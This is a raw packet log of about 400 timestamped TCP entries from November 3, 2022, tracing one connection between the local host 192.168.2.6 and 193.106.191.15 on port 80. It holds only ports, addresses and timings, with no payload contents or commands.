Nov 3, 2022 12:46:55.188019991 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188024998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188050032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188069105 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188074112 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188097000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188112974 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188119888 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188146114 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188163042 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188169003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188194990 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188208103 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188218117 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188242912 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188266039 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188308001 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188332081 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188348055 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188357115 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188380957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188396931 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188404083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188427925 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188446045 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188451052 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188474894 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188493013 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188546896 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188570023 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188590050 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188591957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188615084 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188635111 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188672066 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188694000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188718081 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188721895 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188744068 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188760042 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188769102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188792944 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188812971 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188817024 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188841105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188858986 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188863993 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188886881 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188910961 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188930988 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188932896 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188955069 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.188956976 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188980103 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.188998938 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.189002991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.189026117 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.189050913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.189074993 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.189075947 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.189099073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.189124107 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.189124107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.189147949 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.206226110 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.210046053 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.227464914 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.227535963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.227575064 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.227613926 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.227628946 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.227653027 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.227690935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.227699041 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.227699041 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.227727890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.227766037 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.227767944 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.227802038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.227843046 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.227842093 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.227880001 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.227920055 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.227920055 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.229635000 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.230983973 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.243782997 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.243822098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.243840933 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.243861914 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.243875980 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.243892908 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.243911982 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.243927002 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.243926048 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.243946075 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.243963957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.243983030 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.243992090 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.243992090 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.243992090 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244002104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244035959 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244158030 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244178057 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244194984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244213104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244260073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244261980 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244261980 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244277000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244294882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244313002 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244329929 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244348049 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244364977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244385958 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244404078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244388103 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244388103 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244388103 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244421005 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244441032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244448900 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244448900 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244458914 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244476080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244493008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244510889 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244520903 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244529963 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244539976 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244554996 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244585991 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244591951 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244604111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244611979 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244613886 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244678974 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244683981 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244700909 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244765043 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244847059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244865894 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244884014 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244941950 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244941950 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.244956970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244976044 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.244992971 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.245009899 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.245018005 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.245028019 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.245084047 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.245156050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.245173931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.245192051 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.245201111 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.245208979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.245233059 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.245312929 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.245332003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.245349884 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.245357037 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.245388985 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.246474028 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246494055 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246511936 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246530056 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246546030 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246556997 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.246562958 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246579885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246586084 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.246596098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246602058 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.246613026 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246629953 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246648073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246654034 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.246665955 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246674061 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.246706963 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.246812105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246830940 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246846914 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246864080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246874094 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.246898890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246922016 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246963978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.246989012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247005939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247024059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247040987 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247051954 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247051954 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247051954 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247057915 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247075081 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247092009 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247108936 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247124910 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247143030 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247159958 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247176886 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247193098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247209072 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247214079 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247226954 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247215033 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247215033 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247215033 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247215033 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247245073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247262955 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247279882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247297049 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247313976 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247330904 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247348070 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247364998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247378111 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247378111 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247378111 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247381926 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247378111 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247378111 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247466087 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247502089 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247524023 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247540951 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247559071 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247560978 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247644901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247664928 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247613907 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247682095 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247690916 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247699022 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247716904 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247724056 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247734070 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247750998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247767925 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247786045 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247760057 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247852087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247881889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247854948 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247900009 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247854948 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.247916937 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247931957 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.248006105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.247978926 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.248028994 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248066902 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248084068 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.248092890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248117924 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248143911 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248169899 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248195887 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248207092 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.248207092 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.248220921 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248248100 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248260021 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.248274088 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248301029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248332977 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.248362064 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248392105 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.248394966 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248421907 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248450041 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248471022 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248472929 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.248498917 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248519897 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248544931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248569012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248594046 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248620033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248650074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248676062 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248701096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248719931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248723984 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.248723984 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.248723984 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.248723984 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.248723984 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.248738050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248758078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248775005 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248794079 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248820066 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248846054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248873949 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248898029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248922110 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248943090 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248965979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.248990059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.249011040 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.249034882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.249057055 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.249080896 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.249100924 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.249160051 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.249207020 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.249317884 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.249335051 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.249353886 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.249382973 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.265208006 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.265647888 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.265686989 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.265773058 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.266943932 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.284755945 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.284806013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.284837961 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.284868002 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.284897089 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.284924984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.284953117 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.284981012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.284990072 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.284990072 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.284990072 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.285011053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.285038948 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.285063028 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.285077095 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.286634922 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.286678076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.286792994 CET	49704	80	192.168.2.6	193.106.191.15
